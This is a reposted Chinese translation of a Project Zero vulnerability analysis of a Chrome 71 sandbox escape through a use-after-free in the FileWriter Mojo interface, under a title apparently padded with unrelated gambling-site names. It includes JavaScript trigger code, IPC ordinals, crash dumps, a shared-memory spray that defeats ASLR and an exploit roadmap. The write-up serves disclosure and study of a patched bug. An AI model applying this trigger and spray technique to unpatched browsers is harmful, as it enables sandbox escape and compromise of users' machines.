巨献娱乐利用ASLR薄弱点:Chrome沙箱逃逸漏洞分析_HUC惠仲娱乐

巨献娱乐

概述

我们在Chrome中,发现了一系列可能存在的沙箱逃逸漏洞。在此之后,我们认为可以将这些漏洞中的一个与渲染器存在的漏洞共同利用,形成一条完整的漏洞利用链,同时也能够让我们更好地理解现代Chrome漏洞利用所需的机制。考虑到全部可用的漏洞,最有可能被利用的是Issue 1755,这一Use-After-Free漏洞与经典的JavaScript引擎回调漏洞相似。目前看来,这是一个很好的候选者,因为攻击者对free’d对象的生命周期,以及随后使用对象的时间都具有高级别的控制。

针对关于Mojo IPC机制如何运作的细节,我们没有详细进行分析,在这里先提前向各位读者表示抱歉。在未来,我们会发表一些博客文章,更加详细地解释当前Chrome沙箱界面的接口,但实际上,其中有很多需要解释的内容。

在本文所涉及的分析过程中,我们使用的是官方修复此漏洞前的最新稳定版本,64位Windows版本Chrome 71.0.3578.98。

准备工作

我们在研究Chrome的Mojo IPC层时,注意到的最值得关注的事实之一,是它实际上可以从Chrome中的JavaScript进行IPC调用。将命令行标志“–enable-blink-features=MojoJS”传递给Chrome即可启用此功能。我们使用此功能,实现了一个Mojo Fuzzer,并借助该工具发现了一些漏洞并上报。

在了解这一特性之后,实现完整Chrome漏洞利用链的最简单方法,就是使用渲染器漏洞利用,在正在运行的渲染器中启用这些绑定,随后从JavaScript执行我们的权限提升。

渲染器漏洞利用

恰巧,_tsuro一直在致力于CVE-2019-5782的漏洞利用,这是由SOrryMybad发现的漏洞,并在天福杯上首次利用,其原因在于v8 typer中存在漏洞。我相信该漏洞的发现者将针对其详细信息发表文章,因此我把对细节的介绍过程留给他们。

该漏洞错误地估计了“arguments.length”的可能范围。然后,可以将该漏洞与JIT中的Bounds-Check-Elimination(BCE)传递一同利用。该漏洞的利用方法与其他typer漏洞非常相似,我们可以在“many_args.js”中找到漏洞。需要注意的是,在_tsuro发现该漏洞并提交后,v8研发团队已经删除了BCE优化,使得在typer中更难利用这些漏洞。

在这里,重要的是,我们需要有一个稳定的漏洞利用方式。为了启动沙箱转义,我们需要启用Mojo绑定。最简单的方法是重新加载主框架,这意味着,我们在损坏的状态下留下的任何对象,都将公平地参与到“垃圾收集”(Garbage Collection)机制的游戏当中。

分析浏览器进程

通过浏览Chrome源代码,我们可以看到Mojo绑定基于成员变量nabled_bindings_添加到RenderFrameImpl::DidCreateScriptContext中的JavaScript上下文中。因此,为了模仿命令行标志,我们可以使用读写操作,将该值设置为BINDINGS_POLICY_MOJO_WEB_UI,并强制为主框架创建新的ScriptContext,我们应该可以访问绑定。

要获取当前帧的RenderFrameImpl,这一过程有些痛苦。但是,通过跟随全局上下文对象的指针链,我们可以找到chrome_child.dll,并找到全局g_frame_map,它是一个从blink::Frame指针到RenderFrameImpl指针的映射。为了利用这一漏洞,我们假设此映射中只有一个条目。但如果要对其进行扩展,以找到最合适的一个,这一过程非常简单。在这里,我们可以轻松设置正确的标志,并重新加载页面,具体可以参见实现的“enable_mo.js”。

需要注意的是,Chrome会在构建时随机化IPC序列,因此除了启用绑定之外,我们还需要为每个要调用的IPC方法找到正确的序号。在我们所使用的反汇编程序中,可以几分钟之内解决问题。鉴于渲染器需要能够调用这些IPC方法,如果我们试图支持更多的Chrome构建,我们可以设计一个略微繁琐的混淆过程。但对于我们本文所使用的版本环境,下面的代码足以用来修改我们需要的JavaScript绑定。

var kBlob_GetInternalUUID_Name = 0x2538AE26;
 
var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;
 
var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;
 
var kFileWriter_Write_Name = 0x64D4FC1C;

漏洞分析

所以,我们可以从JavaScript访问IPC接口。那么,接下来该怎么办呢?

我们正在分析的漏洞,是FileSystem API的FileWriter接口的实现中存在的问题。下面是FileWriter接口的描述,这是特权浏览器进程向非特权渲染器进程提供的IPC端点,允许渲染器对特殊的沙箱文件系统通过代理执行文件写入操作:

// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
 // Write data from |blob| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
                                       uint64 bytes_written);
 
 // Write data from |stream| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
       (mojo_base.mojom.FileError result, uint64 bytes_written);
 
 // Changes the length of the file to be |length|. If |length| is larger than
 // the current size of the file, the file will be extended, and the extended
 // part is filled with null bytes.
 Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};

该漏洞存在于第一种方法Write的实现中。但是,在我们正确理解该漏洞之前,我们首先还需要了解FileWriter对象的生命周期。渲染器可以使用FileSystemManager接口中的一个方法来请求FileWriter实例:

// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
 // ...
 
 // Creates a writer for the given file at |file_path|.
 CreateWriter(url.mojom.Url file_path) =>
     (mojo_base.mojom.FileError result,
      blink.mojom.FileWriter? writer);
 
 // ...
};

该功能的实现可以在这里找到:

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
                                        CreateWriterCallback callback) {
 DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
 FileSystemURL url(context_->CrackURL(file_path));
 base::Optional<base::File::Error> opt_error = ValidateFileSystemURL(url);
 if (opt_error) {
   std::move(callback).Run(opt_error.value(), nullptr);
   return;
 }
 if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
   std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
   return;
 }
 
 blink::mojom::FileWriterPtr writer;
 mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
                             url, context_->CreateFileSystemOperationRunner(),
                             blob_storage_context_->context()->AsWeakPtr()),
                         MakeRequest(&writer));
 std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

这里的含义是,如果一切正常,就将返回绑定到mojo::StrongBinding的std::unique_ptr<storage::FileWriterImpl>。强绑定(Strong Binding)意味着对象的生命周期将绑定到Mojo接口指针的生命周期,这也就意味着连接的另一端可以控制对象的生命周期,以及storage::FileWriterImpl字段中的代码,这部分内容负责对与该绑定相关联的序列进行控制,可以关闭连接,也可以释放实例。

这为我们提供了blink::mojom::FileWriter Mojo接口的句柄。我们感兴趣的函数是Write方法,它有一个blink::mojom::Blob的句柄作为其一个参数。我们很快就能再次分析这一Blob接口。

考虑到上述情况,是时候看看易受攻击的函数了。

void FileWriterImpl::Write(uint64_t position,
                          blink::mojom::BlobPtr blob,
                          WriteCallback callback) {
 blob_context_->GetBlobDataFromBlobPtr(
     std::move(blob),
     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                    std::move(callback), position));
}

现在,在这里的问题并不是很明显。但在Chrome代码库中,base::Unretained的实例明显不是正确的,这些实例通常需要我们进一步调查(将会创建一个未经检查的未知引用,详情请参阅Chrome文档(https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures))。所以,要保证这一代码的安全性,只能保证GetBlobDataFromBlobPtr始终同步调用回调。或者,销毁这一代码,可以确保永远不会调用回调。由于blob_context_与其权限不同,所以我们还需要查看GetBlobDataFromBlobPtr的实现,以及它使用回调的方式:

void BlobStorageContext::GetBlobDataFromBlobPtr(
   blink::mojom::BlobPtr blob,
   base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
 DCHECK(blob);
 blink::mojom::Blob* raw_blob = blob.get();
 raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
     base::BindOnce(
         [](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
            base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
            const std::string& uuid) {
           if (!context || uuid.empty()) {
             std::move(callback).Run(nullptr);
             return;
           }
           std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
         },
         std::move(blob), AsWeakPtr(), std::move(callback)),
     ""));
}

上面的代码在传递给它的Blob参数上,调用异步Mojo IPC方法GetInternalUUID,然后在回调中,当该方法返回时,使用返回的UUID来查找关联的Blob数据(GetBlobDataFromUUID),并调用回调参数,以此数据作为其中的参数。

我们可以看到,回调被传递给Blob接口公开的异步Mojo函数所返回的回调:

// This interface provides access to a blob in the blob system.
interface Blob {
 // Creates a copy of this Blob reference.
 Clone(Blob& blob);
 
 // Creates a reference to this Blob as a DataPipeGetter.
 AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);
 
 // Causes the entire contents of this blob to be written into the given data
 // pipe. An optional BlobReaderClient will be informed of the result of the
 // read operation.
 ReadAll(handle<data_pipe_producer> pipe, BlobReaderClient? client);
 
 // Causes a subrange of the contents of this blob to be written into the
 // given data pipe. If |length| is -1 (uint64_t max), the range's end is
 // unbounded so the entire contents are read starting at |offset|. An
 // optional BlobReaderClient will be informed of the result of the read
 // operation.
 ReadRange(uint64 offset, uint64 length, handle<data_pipe_producer> pipe,
           BlobReaderClient? client);
 
 // Reads the side-data (if any) associated with this blob. This is the same
 // data that would be passed to OnReceivedCachedMetadata if you were reading
 // this blob through a blob URL.
 ReadSideData() => (array<uint8>? data);
 
 // This method is an implementation detail of the blob system. You should not
 // ever need to call it directly.
 // This returns the internal UUID of the blob, used by the blob system to
 // identify the blob.
 GetInternalUUID() => (string uuid);
};

这意味着,我们可以在渲染器进程中提供此Blob接口的实现,将该实现传递给FileWriter接口的Write方法,我们将在执行GetBlobDataFromBlobPtr期间从浏览器进程到渲染器进程进行回调,在此期间我们可以销毁FileWriter对象。无论这种回调如何,使用base::Unretained都是危险的,但是以这种方式进行安排,将会使之变得更加清晰。

步骤1:触发器

首先,我们需要实际到达漏洞。这里是我们使用的一个最小化触发器,利用我们此前启用的MojoJS绑定的JS。一个完整的示例将附加到Bugtracker条目,文件名为“trigger.js”。

async function trigger() {
 // we need to know the UUID for a valid Blob
 let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
 Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                    mojo.makeRequest(blob_registry_ptr).handle, "process");
 
 let bytes_provider = new BytesProviderImpl();
 let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
 bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));
 
 let blob_ptr = new blink.mojom.BlobPtr();
 let blob_req = mojo.makeRequest(blob_ptr);
 
 let data_element = new blink.mojom.DataElement();
 data_element.bytes = new blink.mojom.DataElementBytes();
 data_element.bytes.length = 1;
 data_element.bytes.embeddedData = [0];
 data_element.bytes.data = bytes_provider_ptr;
 
 await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);
 
 // now we have a valid UUID, we can trigger the bug
 let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
 Mojo.bindInterface(blink.mojom.FileSystemManager.name,
                    mojo.makeRequest(file_system_manager_ptr).handle, "process");
 
 let host_url = new url.mojom.Url();
 host_url.url = window.location.href;
 
 let open_result = await file_system_manager_ptr.open(host_url, 0);
 
 let file_url = new url.mojom.Url();
 file_url.url = open_result.rootUrl.url + '/aaaa';
 
 let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;
 
 function BlobImpl() {
   this.binding = new mojo.Binding(blink.mojom.Blob, this);
 }
 
 BlobImpl.prototype = {
   getInternalUUID: async (arg0) => {
     // here we free the FileWriterImpl in the callback
     create_writer_result.writer.ptr.reset();
 
     return {'uuid': 'aaaa'};
   }
 };
 
 let blob_impl = new BlobImpl();
 let blob_impl_ptr = new blink.mojom.BlobPtr();
 blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));
 
 file_writer.write(0, blob_impl_ptr);
}

步骤2:替换

尽管最终可能没有多大用处,但是我通常喜欢用完全受攻击者控制的数据替换对象,来开始Use-After-Free的漏洞利用过程。尽管没有ASLR绕过或信息泄漏,因此我们不太可能对这个原语做任何有意义的事情,但是这一过程通常有助于我们理解所涉及对象周围的分配模式,并且这里给出了明确的崩溃信息,这对于证明漏洞的可利用性是非常有帮助的。

在我们所使用的Windows环境中,FileWriterImpl的大小为0x140字节。我最初直接考虑使用JavaScript Blob API创建分配,但这会导致大量相同大小的临时分配,会显著降低可靠性。在浏览器进程中,使用受控制数据分配受控制大小的更好方法,是使用BlobRegistry registerFromStream方法注册新的Blob,在初始调用registerFromStream期间将执行所有辅助分配。然后,我们可以通过将数据写入DataPipeProducerHandle的方式,来触发所需大小和内容的单个分配。

我们可以测试这一情况(参见trigger_replace.js),实际上,它确实利用一个包含完全受控制字节的缓冲区,可靠地替换了free'd对象,并以我们期望的方式实现了崩溃:

(1594.226c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> r
rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323
rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323
rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468
r8=0000005ae4ffe35c  r9=0000005ae4ffe3e0 r10=0000021b30badbf0
r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470
r14=0000000000000001 r15=0000005ae4ffe3e8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> k
# Child-SP          RetAddr           Call Site
00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed

步骤3:信息泄漏

当我们需要能在其中放置有效指针时,控制free’d对象中的数据似乎并没有太多用处。因此,此时我们需要考虑如何使用free’d对象,并且应该考虑有哪些选项可以用于使用不同类型的对象来替换free’d对象。实质上,可以将Use-After-Free转换为类型混淆,这将对我们有所帮助。

在WinDBG中查看相同大小的对象,我们没有得到任何直接的答案。并且,因为从DoWrite调用的大多数方法都是非虚拟的,所以我们实际上需要相当大量的结构,才能替换掉正确的对象。

void FileWriterImpl::DoWrite(WriteCallback callback,
                            uint64_t position,
                            std::unique_ptr<BlobDataHandle> blob) {
 if (!blob) {
   std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);
   return;
 }
 // FileSystemOperationRunner assumes that positions passed to Write are always
 // valid, and will NOTREACHED() if that is not the case, so first check the
 // size of the file to make sure the position passed in from the renderer is
 // in fact valid.
 // Of course the file could still change between checking its size and the
 // write operation being started, but this is at least a lot better than the
 // old implementation where the renderer only checks against how big it thinks
 // the file currently is.
 operation_runner_->GetMetadata(
     url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,
     base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,
                         base::Unretained(this),
                         base::AdaptCallbackForRepeating(std::move(callback)),
                         position, base::Passed(std::move(blob))));
}

所以,我们将使用从free’d对象内部获取的this指针,对FileSystemOperationRunner::GetMetadata进行非虚拟调用:

OperationID FileSystemOperationRunner::GetMetadata(
   const FileSystemURL& url,
   int fields,
   GetMetadataCallback callback) {
 base::File::Error error = base::File::FILE_OK;
 std::unique_ptr<FileSystemOperation> operation = base::WrapUnique(
     file_system_context_->CreateFileSystemOperation(url, &error));
 ...
}

步骤4:信息泄漏(第2轮)

我们已经厌倦了长时间盯着调试器中的结构布局,因此现在是时候考虑一下替代方案了。Windows上的ASLR实现,意味着如果在多个进程中加载相同的库,它们将位于相同的基址。因此,渲染器中加载的任何库,都将加载到浏览器进程中的已知地址。

我们可以用FileSystemOperationRunner替换一些对象,将FileSystemContext指针排列为受控制的字符串数据。我们可以利用它来伪造backend_map_的第一个(开始)节点,并指向我们可以找到的其中一个模块的数据部分,并且正确排列,以便我们可以查找第一个条目。这只需要一组更小的约束:

ptr = getPtr(address)
 
getUint8(ptr + 0x19) == 0
getUint32(ptr + 0x20) == 0
obj = getPtr(ptr + 0x28)
 
vtable = getPtr(obj)
 
function = getPtr(vtable + 0x38)

遗憾的是,满足这些约束的地址集并没有真正产生任何有用的原语。

步骤5:ASLR绕过

此时,我们几乎要准备放弃了。但是,这时我们想起了与Issue 1642相关的一个奇怪现象,这是Mojo核心代码中的一个漏洞。特别是,当Mojo连接的接收端收到DataPipe*Dispatcher对象时,它将立即映射关联的共享内存段(映射发生在对InitializeNoLock的调用中)。

由于浏览器进程中没有内存或虚拟地址空间的限制,这表明事实上,如果我们可以使用共享内存映射简单地喷射浏览器的虚拟地址空间,我们可以完全绕过ASLR,而不会出现信息泄漏问题。需要注意的是,渲染器限制仍然存在,因此我们需要找到一种方法来执行此操作,并且不会超出渲染器的限制。在渲染器中运行本机代码相当简单,我们可以简单地将句柄复制到同一个共享内存页面,并重复发送它们,但是留在JavaScript中应该是一个不错的选项。

查看MojoJS绑定中MojoHandle接口的IDL,我们可以注意到,尽管我们无法克隆DataPipe句柄,但我们可以克隆SharedBuffer句柄。

interface MojoHandle {
  ...
 
  // TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,
  // subclasses of MojoHandle and move the following member functions.
  MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);
 MojoReadDataResult queryData();
  MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);
  MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);
 
  // TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle
  // and move the following member functions.
  MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);
  MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);
};

遗憾的是,SharedBuffers在浏览器进程接口中的使用频率较低,并且在反序列化时不会自动映射,因此它对我们来说没有太大的帮助。但是,由于SharedBuffers和DataPipes都支持相同的操作系统级原语,我们仍然可以利用它来发挥一定作用。通过创建具有较小共享内存、相同数量的DataPipe,以及单个较大的SharedBuffer的克隆,我们可以使用任意读写,来交换备份缓冲区。

1.png

正如在上面的VMMap截图中所看到的那样,这是一种有效且快捷的方法。第一次测试中,我们进行了16TB的喷射,这有些夸张,但在现实中,大约只需3.5TB就足以得到可靠、可预测的地址。最后,我们有机会在现代64位Chrome的漏洞利用中,引用SkyLined发现的MS04-040漏洞利用。

rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8
rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0
rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88
r8=00000404040400b0  r9=00000002f39fe8e4 r10=00000404040401f0
r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90
r14=0000000000000001 r15=00000002f39fea08
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:
00007ffd`87270258 41ff5238        call    qword ptr [r10+38h] ds:00000404`04040228=4141414141414141

路线图

在最后,我们盘点一些我们需要的所有“重型机械”,其余的都只是具体实践的工程问题。以细节为导向,我们可以在Bugtracker中找到一个完整的、有效的漏洞利用程序,从而就应该能够识别处理漏洞的所有后续阶段的代码:

1. 渲染器中任意读写问题

(1) 启用MojoJS绑定

(2) 运行沙箱逃逸

2. 沙箱逃逸

(1) 渲染器中任意读写问题(再次利用)

(2) 在渲染器地址空间中,找到Pivots和渲染器地址空间中的ROP链

(3) 构建将要在浏览器地址空间中喷射的数据页面,其中包含伪FileSystemOperationRunner、FileSystemContext、FileSystemBackend对象

(4) 触发漏洞

(5) 将free'd FileWriterImpl替换为伪造的对象,该对象将使用我们的喷射内容作为FileSystemOperationRunner指针定位的地址

(6) 将我们在2(3)中构建的页面的约4TB副本喷射进入浏览器进程地址空间

(7) 在浏览器进程中从渲染器返回到FileWriterImpl::DoWrite,转到我们的ROP链和Payload

(8) 弹出计算器

(9) 清理,以便浏览器可以继续运行

总结

目前,我们已经能够在ASLR实现中利用其薄弱点来实现漏洞利用,而不再需要信息泄漏。

有两个关键的ASLR薄弱点,可以可靠地利用这个漏洞:

1. Windows上没有进行进程间随机化(Inter-Process Randomisation),这样导致可以在目标进程中定位有效的代码地址,而不会发送信息泄漏。同样,macOS和iOS上也存在这一问题。

2. Chrome浏览器进程中的地址空间使用没有进行限制,导致可以预测堆喷射中的有效数据地址。

如果没有这两个原语,那么对这一漏洞的利用将会变得更加困难,并且可能是漏洞利用不再可用(例如:需要继续寻找其他漏洞进行利用,或者Use-After-Free之后不能实现信息泄漏)。

本文翻译自:https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html如若转载,请注明原文地址: http://www.hackdig.com/04/hack-54833.htm